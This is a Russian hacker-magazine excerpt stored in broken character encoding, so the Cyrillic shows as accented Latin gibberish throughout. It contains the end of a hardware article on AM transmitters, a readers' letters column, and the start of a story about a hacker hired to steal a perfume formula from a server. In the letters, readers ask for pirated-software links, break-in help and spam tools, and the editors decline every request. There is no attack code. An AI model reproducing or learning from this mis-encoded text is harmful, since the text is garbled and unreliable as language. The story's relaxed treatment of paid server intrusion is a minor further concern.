êàòü, ÷òî ïðè íàäëåæàùåé ñîîáðàçè-
òåëüíîñòè òû ñìîæåøü ñ óñïåõîì ïå-
ðåäàâàòü è öèôðîâûå äàííûå? Ïî
êðàéíåé ìåðå, èíôîðìàöèè èç ñòàòüè
òåáå äîëæíî õâàòèòü. Õî÷ó äîáàâèòü,
÷òî åñëè õî÷åøü áîëüøîé ñêîðîñòè,
òî íóæíî èñïîëüçîâàòü áîëåå áûñò-
ðîäåéñòâóþùèå òðàíçèñòîðû. Òàê,
íàïðèìåð, äëÿ ïîëó÷åíèÿ ñêîðîñòè â
10 Ìáèò âåðõíÿÿ ãðàíè÷íàÿ ÷àñòîòà
òðàíçèñòîðîâ äîëæíà áûòü êàê ìèíè-
ìóì 1,5 ÃÃö. E

Ðèñ. 21. Õëîð-
íîå æåëåçî

Ðèñ. 22. Òðàâèì
ïëàòó

Ðèñ. 23. Âíåøíèé âèä êåíòàòîðà

Ðèñ. 24. Âíåøíèé âèä ÀÌ-ïåðåäàò÷èêà

Ðèñ. 25. Âíåøíèé âèä ÀÌ-ïðèåìíèêà

Ðèñ. 20

Ðèñ. 19. Öàïîíëàê
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Íà ïèñüìà îòâå÷àë Dr.Klouniz

Å-ÌÛËÎ
(spec@real.xakep.ru)

FROM: ÂÀËÅÐÈÉ ÄÎÁÐÎÑÊÎÊÈÍ [CRZ_DOBERMANN@MAIL.RU]
SUBJECT: ÌÅÍß Î×ÅÍÜ ÈÍÒÅÐÅÑÓÞÒ ÑÑÛËÊÈ ÍÀ FTP-ÑÅÐÂÅÐÀ

Çäðàâñòâóéòå, óâàæàåìûé Ñïåöâûïóñê "Õàêåð"! Ìåíÿ î÷åíü èíòåðåñóþò ññûëêè íà FTP-ñåðâåð äëÿ ñêà÷èâàíèÿ ôèëüìîâ, à òàêæå äëÿ ñâåæåãî
(îòíîñèòåëüíî ñâåæåãî) øàðåçà ;)... Êîíå÷íî, ÿ ïîíèìàþ, ÷òî ÷åì áîëüøå ëþäåé çíàåò ýòè VIP-àäðåñà, òåì áîëüøå áóäåò íàðîäó, è â èòîãå FTP

ýòîò ïðèêðîþò èëè ïîïðîñÿò êà÷àòü çà áàáêè :(. ß îáåùàþ, ÷òî ïîëó÷åííûå îò âàñ äàííûå áóäóò òîëüêî ó ìåíÿ â ãîëîâå è íèêòî äðóãîé èõ íå óçíàåò! À
åùå ÿ õîòåë ïîáëàãîäîðèòü âàñ çà âàø ïðåêðàñíèé æóðíàë! Õîòÿ îí äîñòàòî÷íî äîðîãî ìíå îáõîäèòñÿ, íî îí òîãî ñòîèò :). Æåëàþ âàì, ÷òîáû âû ìîãëè
ïî÷àùå ðàäîâàòü íàñ, ãîðå-÷èòàòåëåé, ñâîåé (êàê ó âàñ òàì ãîâîðÿò) ðóëåçíîé èíôîé :). Ïðîöâåòàéòå è ðàçâèâàéòñü äàëüøå!

ÎÒÂÅÒ:
Ïèñüìî ýòî áûëî íàïèñàíî èçíà÷àëüíî íà ïîëíåéøåì òðàíñëèòå è áûëî ïðèâåäåíî ìíîé ñ ïîìîùüþ www.translit.ru è

ïðîâåðêè îðôîãðàôèè MS Word'a â íîðìàëüíûé âèä. Ñëàâà ïðîèçâîäèòåëÿì ýòèõ ïðîäóêòîâ :). Êñòàòè, êàê ãîâîðèò òî-
âàðèùü Áóáë èç X, «na translite pishut toko kidaly». Áëàãîäàðíîñòè ìû òâîè, êîíå÷íî æå, ñ óäîâîëüñòâèåì ïðèìåì ïî
WM... òüôó, ïîõîæå, ìíå õâàòèò îáùàòüñÿ ñ Áóáëîì. Èòîãî: íèêàêèõ ññûëîê ìû òåáå íå äàäèì. Âîîáùå-òî àêêàóíò íà õî-
ðîøèé FTP åùå çàñëóæèòü íàäî, à ëèøèòüñÿ åãî ïðîùå ïðîñòîãî: ïîïûòàòüñÿ êà÷àòü îñëèêîì, êà÷àòü â íåñêîëüêî ïî-
òîêîâ èëè íàðóøàòü äðóãèå ïðàâèëà äåðæàòåëÿ çàâåäåíèÿ. Òàê ÷òî ñàì ïîíèìàåøü :).

»

FROM: DIMA DIMA [DIMA-W@BOX.AZ]
SUBJECT: 

ß, êàê íà÷èíàþùèé ïðîâàéäåð, íå çíàþ çíà÷åíèé íåêîòîðûõ
ñëîâ, ïðîøó ïðîÿñíèòü: õîñòèíã, ñòàòè÷åñêèå è äèíàìè÷åñêèå

IP, ïðîâàéäåðû clobal one, èíòåðôåéñ, 128-êèëîáèòíûé ëèíê, àêêàóíò,
áèëèíã, êîíöåíòðàòîð, äåâàéñ, FTP-àðõèâ, ðàöòåðû, õàá.

ÎÒÂÅÒ:
Ñëîæíûé âîïðîñ, íà ñàìîì äåëå. Âîîáùå-òî ÿ íå

î÷åíü ðàçáèðàþñü â äðåâíèõ ÿçûêàõ, íî âîò ìîé áîëü-
øîé äðóã Horrific çà âðåìÿ ðàáîòû â Hack FAQ â íèõ ïîä-
íàòîðåë èçðÿäíî. Âîò îí-òî è îáúÿñíèë ìíå, ÷òî êàæäîå
òàêîå ñëîâî â îòäåëüíîñòè ñìûñëà íå èìååò, íî âñå â
ñóììå îíè îçíà÷àþò äðåâíååãèïåòñêîå ðóãàòåëüñòâî, êî-
òîðîå æðåöû àäðåñîâàëè ñâîèì íåðàäèâûì ó÷åíèêàì,
íå æåëàþùèì ÷èòàòü äðåâíèå ïàïèðóñû è èçó÷àòü íàä-
ïèñè íà ïèðàìèäàõ. Îíî ïåðåâîäèòñÿ òàê: «×èòàé äîêè,
ñûí ìîé, à òî ÿ íàáüþ òâîþ ãîëîâó àðîìàòíûìè òðàâàìè
è âûêèíó åå â Íèë, ÷òîáû óäîáðèòü ïàïèðóñ». Ïðîøëî
ìíîãî âåêîâ, à ñìûñë ýòèõ ñëîâ òàê è íå èçìåíèëñÿ.
Òîëüêî òåïåðü äîñòàòî÷íî íàáèòü èíòåðåñíîå ñëîâî â
ïîèñêîâèê è íåò ñìûñëà ïî æàðå èçó÷àòü èåðîãëèôû íà
ïèðàìèäàõ :).

»

FROM: ÎÒ ÂÀËÅÍÒÈÍÀ [ZVALENTIN@MTU-NET.RU]
SUBJECT: ÀÒÀÊÀ ×ÅÐÅÇ ÏÎÐÒ

Çäðàâñòâóéòå, óâàæàåìûé spec! Ïî âàøåìó ñîâåòó ÿ çàøåë íà
ñàéò www.nsd.ru/hack.php è ñêà÷àë òàì ïðîãó IP Tools. Ïðîøó îáú-

ÿñíèòü íà÷èíàþùåìó õàêó, êàê âçëîìàòü êîìï ïîñëå ñêàíèðîâàíèÿ ïîð-
òîâ :). Ïðîáîâàë â ëîêàëüíîé ñåòêå. Ïîìîãèòå ìíå, ïëèç, î÷åíü ïðîøó!

ÎÒÂÅÒ:
À çà÷åì åãî ëîìàòü-òî? Ñàìî ïî ñåáå ñêàíèðîâàíèå

ïîðòîâ � ýòî óæå áîëüøîå óäîâîëüñòâèå. Âîò ïðîñ-
êàíèøü êîìïüþòåð äðóãàíà ïî ëîêàëå, à ó íåãî ôà-
åðâîë ñòîèò, KAH, ñêàæåì. Óçðèò îí îêîøêî: «Âàø
êîìïüþòåð áûë àòàêîâàí ñ àäðåñà ÕÕÕ àòàêîé «ñêà-
íèðîâàíèå ïîðòîâ»!!! Àòàêà îòðàæåíà!». Þçåð ïîðà-
äóåòñÿ, êàê îí êðóòî ñïðàâèëñÿ ñ õàêåðîì è çàïîñòèò
â ôîðóì ëîêàëû: «Êàêîé <censored> ñ òàêîãî-òî àé-
ïèøíèêà ìåíÿ àòàêóåò? ß âåäü íå ëàìåð, à åãî çà-
áàíüòå» :). Êëîíþ ÿ ê òîìó, ÷òîáû òû ïðîñòî âíèìà-
òåëüíî ÷èòàë «Âçëîì» Õàêåðà è ñàì Ñïåö (ñåé÷àñ ìû
äåëàåì âûïóñê «Àòàêà íà Windows», äóìàþ, îí òåáå
áóäåò ñóïåðïîëåçåí), à â îäíîì îòâåòå ÿ òåáå âñþ
ñòðàòåãèþ àíàëèçà óäàëåííîé ñèñòåìû íå ðàññêàæó.
Â îñíîâíîì, ïîòîìó ÷òî ñàì íå çíàþ :).

»

FROM: NIKOLA [NIKOLA@ATKNET.RU]
SUBJECT: 

Ïðèâåò, ïàöàíû!
Ïîçàðåç íóæíà ïðîãà äëÿ ìàññîâîé ðàññûëêè ñîîáùåíèé ïî àñüêå è ìûëîì. Ïîìîãèòå, ïëèççç).

ÎÒÂÅÒ:
ÎÊ. Óâàæàåìûå ÷èòàòåëè, îòâåòüòå, ïîæàëóéñòà, ÷åëîâåêó, ÷òî âû äóìàåòå î ñïàììåðàõ :). Ìûëî ïðèëàãàåòñÿ.

»



FROM: YUUURIK [YUUURIK@MAIL.RU]
SUBJECT:

Óâàæàåìàÿ ðåäàêöèÿ!
Îãðîìíàÿ ïðîñüáà ïîäòâåðäèòü èëè îïðîâåðãíóòü (÷òî, ÷åñòíî ãîâîðÿ, íå õîòåëîñü áû) èí-

ôîðìàöèþ î ñòîèìîñòè çàêàçà íà êîìïëåêò "Õàêåð Ñïåö" + "Æåëåçî" íà 3 ìåñÿöà, îáúÿâëåííûé â
#09(46) çà ñåíòÿáðü 2004 ãîäà íà ñòðàíèöå 78 â ñóììå 189 ðóáëåé 00 êîïååê. Åùå îäèí âîïðîñ:
êòî ïîíåñåò îòâåòñòâåííîñòü, åñëè çàêàç íå áóäåò âûïîëíåí, âåäü íà ñàìîì âèäíîì ìåñòå óêàçàíî
ÃÀÐÀÍÒÈÐÎÂÀÍÎ ÐÅÄÀÊÖÈÅÉ "ÕÀÊÅÐ ÑÏÅÖ"? Î÷åíü õî÷åòñÿ óçíàòü äàííûå ýòîãî êîíêðåòíîãî ÷å-
ëîâåêà! ß óæå îôîðìèë è îïëàòèë çàêàçû íà ýòîò êîìïëåêò íà âåñü ãîä è ïîäóìûâàþ îôîðìèòü
åùå ëåò íà 5-10 âïåðåä!!! Âåäü ÿ ÿâëÿþñü ÷èòàòåëåì è ãîðÿ÷èì ïî÷èòàòåëåì æóðíàëîâ ëèíåéêè
"Õàêåð": "Õàêåð Ñïåö" è "Æåëåçî" - ïðàêòè÷åñêè ñ ïåðâûõ íîìåðîâ, è ýòî áûëî áû ïðîñòî ñêàçêîé
äëÿ âçðîñëûõ - ïîäàðêîì íàøåãî ðîäíîãî, âàòíîãî Äåäà Ìîðîçà èç äåòñòâà, à íå îäåòîãî â ãàéäà-
ìàöêèé êîëïàê è êðàñíûé êàôòàí, ïåðåòÿíóòîãî ìóøêåòåðñêèì ðåìíåì è íàòÿíóâøåãî íà ñåáÿ
îáóâü Êîòà â ñàïîãàõ, ñ÷èòàþùåãî êàêèå-òî ïðîöåíòû çàìîðñêîãî Ñàíòà-Êëàóñà. Ïðîøó ðàññìîò-
ðåòü ýòî ïèñüìî êàê îôèöèàëüíûé çàïðîñ è äàòü îôèöèàëüíûé îòâåò â óñòàíîâëåííûå çàêîíîäà-
òåëüñòâîì ñðîêè ïî àäðåñó [censored].

ÎÒÂÅÒ:
Óâàæàåìûé Þðèé! Îòâå÷àåò òåáå ãëàâíûé áþðîêðàò æóðíàëà «Õàêåð Ñïåö» -

Àëåêñàíäð. Ê ñîæàëåíèþ, ïðåäîñòàâèòü òåáå îòâåò â óêàçàííûå íà çàáîðå çà-
êîíîì ñðîêè ìû íå èìååì âîçìîæíîñòè. Äëÿ ïîëó÷åíèÿ îòâåòà â òå÷åíèå 1 ìå-
ñÿöà ñ ìîìåíòà ïîëó÷åíèÿ ïèñüìà òåáå íåîáõîäèìî ñîáëþñòè íåêîòîðûå ïðî-
öåññóàëüíûå ôîðìàëüíîñòè: ïðåäîñòàâèòü ñêàí ïàñïîðòà èëè ñâèäåòåëüñòâà î
ðîæäåíèè, ñâèäåòåëüñòâà î áðàêå, ñïðàâêó ñ ìåñòà ó÷åáû, âûïèñêó èç äîìîâîé
êíèãè, ñïðàâêó î äîõîäàõ, ðåçóëüòàòû àíàëèçîâ íà ÂÈ×, HBsAg, RW, çàâåðåí-
íûå ó íîòàðèóñà, à òàêæå îïëàòèòü ñòàíäàðòíûé áëàíê çàÿâêè (ôîðìà Ó-246Ï,
34 êîï.) ïî àäðåñó: ã. Ýëåêòðîçàâîäñêèé, óëèöà Êðåéñåðà Âàðÿãà, 15. ×àñû ðà-
áîòû: ñ 15:00 äî 17:00 êàæäóþ ÷åòíóþ ïÿòíèöó âèñîêîñíîãî ãîäà. Èñïóãàëñÿ?
Øó÷ó ÿ. Íà ñàìîì äåëå, âñå ãàðàíòèðîâàíî êàê â øâåéöàðñêîì áàíêå, à 189
ðóáëåé ñòîèò êîìïëåêò ïðè ïîäïèñêå 1 ìåñÿö, à íå 3, åñòåñòâåííî. Íåáîëüøàÿ
îïå÷àòêà ;).

»

FROM: ÑÅÐÃÅÉ ÌÎÑÊÂÈÍ [MSNDRAGON@RAMBLER.RU]
SUBJECT: ÊÎÐÇÈÍÀ

Ïðèâåò, Ñïåö. Âû çàòðàãèâàåòå áîëüøèå è èíòåðåñíûå òåìû, íî íåêîòîðûå ìàëåíüêèå óïóñ-
êàåòå :) Ìåíÿ èíòåðåñóåò, âîçìîæíî ëè óáðàòü ñ Ðàáî÷åãî ñòîëà  Êîðçèíó? Ñ íåòåðïåíèåì

æäó îòâåòà ëèáî â æóðíàëå, ëèáî íàïèøèòå, ïîæàëóéñòà, íà MSNDragon@rambler.ru èëè
MSNDragon@yandex.ru.

ÎÒÂÅÒ:
Êîíå÷íî, óïóñêàåì. Ïîòîìó ÷òî ìû íå çíàåì, êàê ýòî ñäåëàòü. Âîí Ãîðë äàæå íå

çíàåò, ÷òî òàêîå Ðàáî÷èé ñòîë. Îí íè÷åãî, êðîìå êîíñîëè, íèêîãäà íå âèäåë è âè-
äåòü íå õî÷åò. ß âèäåë ýòó êîðçèíó, íî îíà êàêàÿ-òî ïðîçðà÷íàÿ è íåïðåäñòàâè-
òåëüíàÿ, íå çíàþ, çà÷åì åå óäàëÿòü, âñå ðàâíî íå âèäíî åå. Åñëè òû èìååøü â
âèäó ôèçè÷åñêóþ êîðçèíó, òî ÿ íå ïîíèìàþ, ÷òî îíà äåëàåò íà ñòîëå, ïîñêîëüêó
íà ïîëó åé ñàìîå ìåñòî èëè â ìîéêå íà êóõíå.

»

FROM: ALEX_POCHTAMT [A_LEX@POCHTAMT.RU]
SUBJECT: ÊÎÍÑÒÐÓÊÒÈÂÍÀß ÊÐÈÒÈÊÀ

Ïðèâåò, ðåáÿòà! Âðÿä ëè îïóáëèêóåòå ìîå ïèñüìî â âàøåì æóðíàëå, íî íå äëÿ òîãî ïèøó.
Âàø æóðíàë ÿ ïîêóïàþ ñðàâíèòåëüíî íåäàâíî è åäèíñòâåííîå, î ÷åì ïîæàëåë, ïî÷èòàâ åãî,

÷òî îí íå ïîïàëñÿ ìíå íà ãëàçà ðàíüøå. Çàìå÷àòåëüíûé æóðíàë (íå ïðèáàâèòü, íå óáàâèòü)! Òåïåðü î
ïðèëàãàåìîì ê æóðíàëó äèñêå (òóò ñîâåðøåííî äðóãàÿ êàðòèíà). Â îòâåòå íà îäíî èç ïèñåì ÷èòàòåëåé
âû ïèøåòå: "Äàåøü áîëüøå êîíñòðóêòèâíîé êðèòèêè!". ×òî æ, èçâîëüòå. Âçãëÿíèòå íà ñêðèíøîò âà-
øåé ïðîãðàììû îáçîðà ñîäåðæàíèÿ äèñêà. Âàì íðàâèòñÿ? Ñîãëàñèòåñü, ÷òî ïîäîáíî âûãëÿäÿùèé èí-
òåðôåéñ ñëåãêà äèñêðåäèòèðóåò íàçâàíèå æóðíàëà "Õàêåð"  (òî åñòü ïðîôåññèîíàë) è áîëåå ïîäõîäèò
äëÿ æóðíàëà ñ íàçâàíèåì "Ëàìåð" :). Åñëè ýòî äëÿ âàñ çàòðóäíèòåëüíî - äîáèòüñÿ êîððåêòíîãî îòîá-
ðàæåíèÿ íà ìîíèòîðàõ ñ ðàçíûì ðàçðåøåíèå (ó ìåíÿ 1280õ1024), òî ëàáàéòå â HTML, êàê ýòî äåëàåò
æóðíàë [censored], íàïðèìåð.

ÎÒÂÅÒ:
Îïóáëèêóåì, ïðîñòî ñîêðàòèì ñëåãêà, à òî íå âëåçåò. Âñþ êðèòèêó ÿ óìåñòèë, íî

âîò ÷àñòü ñîâåòîâ âûðåçàë, ïîñêîëüêó èõ-òî, êðîìå íàñ, ÷èòàòü íèêîìó íå èíòå-
ðåñíî :). Äåéñòâèòåëüíî, îòçûâû ÷èòàòåëåé ìû ëþáèì (Àíäðþøà íàçûâàåò ýòî
êîíñòðóêòèâíîé êðèòèêîé), íî âîîáùå-òî ïðèÿòåí ëþáîé ôèäáýê. Êîãäà ÷óâñòâó-
åøü, ÷òî òû ðàáîòàåøü íå ïðîñòî â ïóñòîòó, à äëÿ ëþäåé, êîòîðûå ýòî åùå è ÷èòà-
þò, � ýòî ãóò. Íàñ÷åò äèñêà îáåùàåì ðàçîáðàòüñÿ.

»



ðèñ. Êîíñòàíòèí Êîìàðäèí

ÍÈ×ÅÃÎ
ËÈ×ÍÎÃÎ

Niro (niro@real.xakep.ru)



- Ðîáèí Ãóä, áëèí! - âûðóãàë-
ñÿ Ñìèðíîâ, ïðîäîëæàÿ íåîòðûâ-
íî ðàçãëÿäûâàòü íà ýêðàíå ïîëó-
÷åííûå äàííûå. - Ó áîãàòûõ áåðó,
áåäíûì îòäàþ! Ïî-ìîåìó, ìåíÿ
ýëåìåíòàðíî ðàçâåëè!

Ïðîèñõîäÿùåå ñåé÷àñ íà ýê-
ðàíå ìîíèòîðà áûëî ñîâñåì íå
ïîõîæå íà òî, ÷òî åìó îáåùàë
òîëñòÿê. Äîãîâîð áûë áîëåå ÷åì
ïðîçðà÷íûì, Ñìèðíîâó êàçàëîñü,
÷òî îí ïðåäóñìîòðåë ïðàêòè÷åñêè

âñå, çàêëþ÷àÿ íåêîå ïîäîáèå êîíòðàêòà (õîòÿ êàêèå, ê ÷åðòó, êîíòðàêòû, êîãäà
ðå÷ü èäåò î ïðîòèâîçàêîííîì áèçíåñå!), ïîýòîìó åìó î÷åíü ñòðàííî áûëî âè-
äåòü òî, ÷òî îí âèäåë�

Îí äîëæåí áûë âûïîëíèòü äîâîëüíî ñëîæíóþ è èíòåðåñíóþ ðàáîòó -
âïåðâûå â æèçíè åìó ïðèõîäèëîñü âçëàìûâàòü ñåðâåð, ÷òîáû ïîõèòèòü - ÷òî
áû âû äóìàëè? - ôîðìóëó íîâûõ äóõîâ, êîòîðûå äîëæíû áûëè ïîñòóïèòü â
ïðîäàæó âî Ôðàíöèè ëèøü ÷åðåç ïîëãîäà. Ñìèðíîâ íå âäàâàëñÿ â ïîäðîá-
íîñòè òîãî, îòêóäà ó çàêàç÷èêà ïîäîáíàÿ èíôîðìàöèÿ è ïî÷åìó îí â êóðñå
ñåêðåòíûõ ïàðôþìåðíûõ ðàçðàáîòîê - îí âåæëèâî âûñëóøàë âñå, î ÷åì åãî
ïðîñèëè, êèâàÿ â íóæíûõ ìåñòàõ, ïîñëå ÷åãî ñïðîñèë î ñóììå è ñðîêàõ.

Ñóììà áûëà áîëåå ÷åì äîñòàòî÷íàÿ, à âîò ñðîêè íåñêîëüêî ðàññòðîèëè.
×òîáû çàðàáîòàòü îáåùàííîå, íàäî áûëî ïîòîðîïèòüñÿ.

Òîãäà, â äåíü çàêëþ÷åíèÿ äîãîâîðà, îí âñòàë ñ êðåñëà, ïðîøåëñÿ ïî øè-
êàðíîìó êàáèíåòó, ãëÿäÿ ñåáå ïîä íîãè è ðàçìûøëÿÿ. Íåñìîòðÿ íà òî ÷òî îí
åùå íå ñîãëàñèëñÿ ñ óñëîâèÿìè è íå ïðèíÿë àâàíñà, â ãîëîâå óæå âûñòðàè-
âàëñÿ ïëàí ðàáîòû - ñ ÷åãî íà÷àòü, êàê ïðîäîëæèòü, ñ ïîìîùüþ ÷åãî çàêðå-
ïèòüñÿ íà ñåðâåðå, êàê çàìåñòè ñëåäû è ãäå õðàíèòü äàííûå.

Çàêàç÷èê âíèìàòåëüíî ñëåäèë çà íèì ïðîíçèòåëüíûì âçãëÿäîì, âðàùàÿ
íà òîëñòîì áåçûìÿííîì ïàëüöå çîëîòîé ïåðñòåíü. Îí ñ âèäèìûì óäîâîëü-
ñòâèåì íàáëþäàë çà òåì, êàê Ñìèðíîâ øåâåëèë ãóáàìè, ðàçãîâàðèâàÿ ñàì ñ
ñîáîé; ÷óâñòâîâàëîñü, ÷òî âíóòðè ïàðíÿ èäåò áîðüáà - äåíüãè ïðîòèâ çäðàâî-
ãî ñìûñëà. Ñìèðíîâ áóäòî áû äàâàë ñàìîìó ñåáå îòâåòû íà âîïðîñû î
ñîáñòâåííîé êâàëèôèêàöèè - ñìîæåò èëè íå ñìîæåò?

- ß ïîïðîáóþ, - äîñòàòî÷íî òâåðäî ñêàçàë îí ÷åðåç ïàðó ìèíóò. - Ñêàæó
áîëüøå - ÿ óâåðåí, ÷òî ñäåëàþ ýòî. Äà, ñäåëàþ. Ïðàâäà, ÿ, êàê è ïîäîáíûå
ìíå ëþäè, ëèöåìåðþ - íåíàâèæó âîðîâ è ñàì èì ÿâëÿþñü. Íî, ÷åðò ïîáåðè,
ÿ áîëüøå íè÷åãî íå óìåþ äåëàòü - à óæ òî, ÷òî óìåþ, äåëàþ î÷åíü è î÷åíü
õîðîøî.

- ß çíàþ, ÷òî âû íàñòîÿùèé àñ, - êèâíóë çàêàç÷èê. - È ÿ áûë óâåðåí, ÷òî
âû ñîãëàñèòåñü. Ðàä, ÷òî âû íå ïûòàåòåñü çàäàâàòü ëèøíèå âîïðîñû - â íà-
øåì áèçíåñå ýòî ïåðâåéøåå ïðàâèëî ñîáñòâåííîé áåçîïàñíîñòè. Äà ÿ áû è
íå îòâåòèë âàì íè÷åãî îñîáåííîãî - âû æå ïîíèìàåòå.

Ñìèðíîâ êèâíóë.
- Êàæäûé, êòî âîðóåò, - ïðîäîëæèë çàêàç÷èê, - äåëàåò ýòî òîëüêî ïî îäíîé

ïðè÷èíå (ÿ íå áåðó â ðàñ÷åò êëåïòîìàíîâ) - ÷òîáû ëó÷øå æèòü. ß ÷åëîâåê,
íåìíîãî ïîäíÿâøèéñÿ íàä ýòèì óðîâíåì, ÿ õî÷ó, ÷òîáû è äðóãèå ëþäè ïîëü-
çîâàëèñü ïëîäàìè ìîåãî âîðîâñòâà è æèëè ëó÷øå.

Ñìèðíîâ êèâíóë ñíîâà, ïîíèìàÿ, ÷òî êàæäûé âîð â ñâîáîäíóþ îò ïðåñ-
òóïëåíèÿ ìèíóòó òîëüêî è äåëàåò, ÷òî óñïîêàèâàåò ñâîþ ñîâåñòü, íàõîäÿ äëÿ
ñåáÿ êàæäûé ðàç âñå áîëåå äèêîâèííûå îïðàâäàíèÿ. Åãî æå ñîáåñåäíèê âîñï-
ðèíÿë êèâîê Ñìèðíîâà êàê ñîãëàñèå ñ ïðåäëîæåííîé ôèëîñîôèåé.

- Åñëè ìû óñïååì íàëàäèòü ïðîèçâîäñòâî, òî óæå ÷åðåç òðè-÷åòûðå ìåñÿ-
öà íàøè ðóññêèå æåíùèíû áóäóò ïàõíóòü òàê ïðèâëåêàòåëüíî è ñåêñóàëüíî,
÷òî ôðàíöóçû óäàâÿòñÿ îòòîãî, ÷òî èõ îáîøëè. Ïîýòîìó î÷åíü âàæíî, ÷òîáû
ñëåäîâ íå îñòàëîñü - ÷òîáû íå áûëî ïîòîì ðàçãîâîðîâ íà òåìó, êòî ó êîãî óê-
ðàë àòîìíóþ áîìáó - ó àìåðèêàíöåâ èëè îíè ó íàñ.

Ñìèðíîâ ïðèñåë íà äèâàí, ñïëåë ïàëüöû ðóê è êðåïêî ñæàë èõ. Åìó î÷åíü
íå õîòåëîñü ñåé÷àñ äèñêóòèðîâàòü î ïîëüçå óêðàäåííûõ òåõíîëîãèé.

- ß óæå ñêàçàë, ÷òî ñäåëàþ ýòî, - âñòàâèë îí ñâîå ñëîâî â ìîíîëîã. - ß ãîòîâ ïðèñ-
òóïèòü ÷åðåç ÷àñ - êàê òîëüêî äîáåðóñü äî äîìà. Íî åñëè âû õîòèòå íàäåæíîñòè�

- Êîíå÷íî-êîíå÷íî, - òîðîïëèâî ñêàçàë çàêàç÷èê è âûòàùèë èç êàðìàíà
ïèäæàêà íåñêîëüêî íîâåíüêèõ êóïþð ñ ïîðòðåòàìè äàâíî ïî÷èâøèõ ïðåçèäåí-
òîâ. - Âñå, ÷òî âàì íóæíî äëÿ âàøåé - è íàøåé - áåçîïàñíîñòè�

Ñìèðíîâ âçÿë äåíüãè è ñïðÿòàë â êàðìàí êóðòêè. Ìîæíî áûëî óõîäèòü.
Â ìåòðî îí, ïîâèñíóâ íà ïåðåêëàäèíå è ìåðíî ðàñêà÷èâàÿñü â òàê õîäó

ïîåçäà, ðàçãëÿäûâàë ðåêëàìíûå ïëàêàòû è ìàøèíàëüíî ïðèíþõèâàëñÿ ê ïðî-
òèñêèâàþùèìñÿ ìèìî æåíùèíàì - áëàãî, â ÷àñ ïèê èõ áûëî ïðåäîñòàòî÷íî.
Íè÷åãî äîñòîéíîãî åìó ïî÷åìó-òî íå ïîïàäàëîñü - î÷åíü ÷àñòî çàïàõ äóõîâ
ñìåøèâàëñÿ ñ çàïàõîì òàáàêà èëè áåíçèíà, ñîçäàâàÿ íåìûñëèìûå ãàììû;
ïîñòåïåííî Ñìèðíîâ ïðîíèêñÿ èäååé çàêàç÷èêà ïîäàðèòü íàøèì æåíùèíàì
÷òî-òî äåéñòâèòåëüíî ñòîÿùåå.

Ïðèäÿ äîìîé, îí ïðèãîòîâèë ñåáå óæèí. Êîìïüþòåð æäàë.

Äàâíî ó íåãî óæå íå áûëî ñòîëü äîðîãîé ðàáîòû, è ýòî íåñìîòðÿ íà òî
÷òî îí áûë õàêåðîì î÷åíü âûñîêîé êâàëèôèêàöèè. Òàê óæ ïîëó÷èëîñü, ÷òî
ïðèìåðíî ïîëãîäà îí áûë òèøå âîäû íèæå òðàâû - ïðèøëîñü ëå÷ü íà äíî
ïîñëå îäíîé óäà÷íîé, íî óæ î÷åíü êðèìèíàëüíîé îïåðàöèè ïî äîáû÷å äàí-
íûõ. Îí ÷óâñòâîâàë òîãäà, ÷òî óéòè íåçàìå÷åííûì íå óäàñòñÿ, è èñïûòàë ïðè
ýòîì æóòêîå ðàçî÷àðîâàíèå: ïðèøëîñü ïî÷òè äâå òðåòè ãîíîðàðà ïóñòèòü íà
òî, ÷òîáû áûñòðî ñìåíèòü ìåñòî æèòåëüñòâà. Ñåñòðà, êîòîðàÿ òðàòèëà òåïåðü
íà äîðîãó â èíñòèòóò â äâà ðàçà áîëüøå âðåìåíè, âîçìóùàëàñü, íî íåäîëãî.
Îí åäâà èçáåæàë ñòîëêíîâåíèÿ ñ òåìè, êîãî îáèäåë, - è îñòîðîæíîñòü çàãíà-
ëà åãî â óáåæèùå, ãäå îí íå î÷åíü-òî âûñîâûâàëñÿ, ñòàðàëñÿ íå ñâåòèòüñÿ è
íå íàïîìèíàòü î ñåáå íà îíëàéíîâûõ òóñîâêàõ è ôîðóìàõ.

Äåíåã õâàòèëî âïðèòûê - ïîä êîíåö ñâîåãî âûíóæäåííîãî çàòî÷åíèÿ, ñðîê
êîòîðîãî îí îïðåäåëèë ñåáå ñàì è êîòîðîãî ñòàðàëñÿ ïðèäåðæèâàòüñÿ î÷åíü
è î÷åíü òî÷íî, îí ïèòàëñÿ âïðîãîëîäü è áûë óâåðåí, ÷òî åãî âìåñòå ñ ñåñòðîé
ñêîðî âûêèíóò íà óëèöó çà íåóïëàòó ïî ñ÷åòàì.

Íî îí âûäåðæàë, à, çàêîí÷èâ ïðÿòàòüñÿ, ðâàíóëñÿ íà âîëþ. Ñòàðûå äðóçüÿ
áûëè ðàäû óñëûøàòü î òîì, ÷òî îí æèâ, ÷òî îí íà ñâîáîäå è ãîðèò æåëàíèåì
ðàáîòàòü. Åìó áûñòðî ñîñâàòàëè ïàðó âûõîäîâ â ñåòü, îí ñðóáèë íåìíîãî áà-
áîê, âçäîõíóë ñâîáîäíåå, ïîãàñèë âñå äîëãè è äàæå êîå-÷òî ïðèêóïèë äëÿ
ñâîåãî êîìïüþòåðà - ïóñòü ìåëî÷ü, íî ïðèÿòíî.

Êîðî÷å, áûëàÿ ñëàâà çàõëåñòíóëà åãî ñ ãîëîâîé. Îí ñíîâà ïðèíÿëñÿ çà
êíèãè, çà èçó÷åíèå íîâûõ ìàòåðèàëîâ, ñâÿçàííûõ ñî âçëîìîì, - áðàë èõ ó
äðóçåé, â ñåòè, ãäå ïðèäåòñÿ. Ìîçãîâ õâàòàëî è íà òî, ÷òîáû èñêàòü íîâûå ïó-
òè ñàìîìó. Íåêîòîðûå ñîáñòâåííûå îòêðûòèÿ îêàçàëèñü êàê íåëüçÿ êñòàòè íå
òîëüêî åìó, íî è ñîðàòíèêàì ïî öåõó.

Îí âûõîäèë íà íîâûé âèòîê ñâîåãî òâîð÷åñòâà. Äàâíî ó Ñìèðíîâà íå áû-
ëî òàêîé æàæäû äåÿòåëüíîñòè, êàê ïîñëå ïîëóãîäîâîãî çàòâîðíè÷åñòâà; îí
ñêóïèë ïðàêòè÷åñêè âñå êíèãè ïî íóæíûì äëÿ íåãî òåìàì, ïîäïèñàëñÿ íà êó÷ó
áóìàæíûõ æóðíàëîâ è ýëåêòðîííûõ ðàññûëîê (äëÿ ñòðàõîâêè ñîçäàâ íåñêîëü-

êî ïî÷òîâûõ ÿùèêîâ, ÷òîáû íèêòî íå çàïîäîçðèë åãî â åäèíîëè÷íîì ñîáèðà-
íèè ïîäîáíîãî ðîäà èíôîðìàöèè â íåäîïóñòèìî áîëüøèõ êîëè÷åñòâàõ).

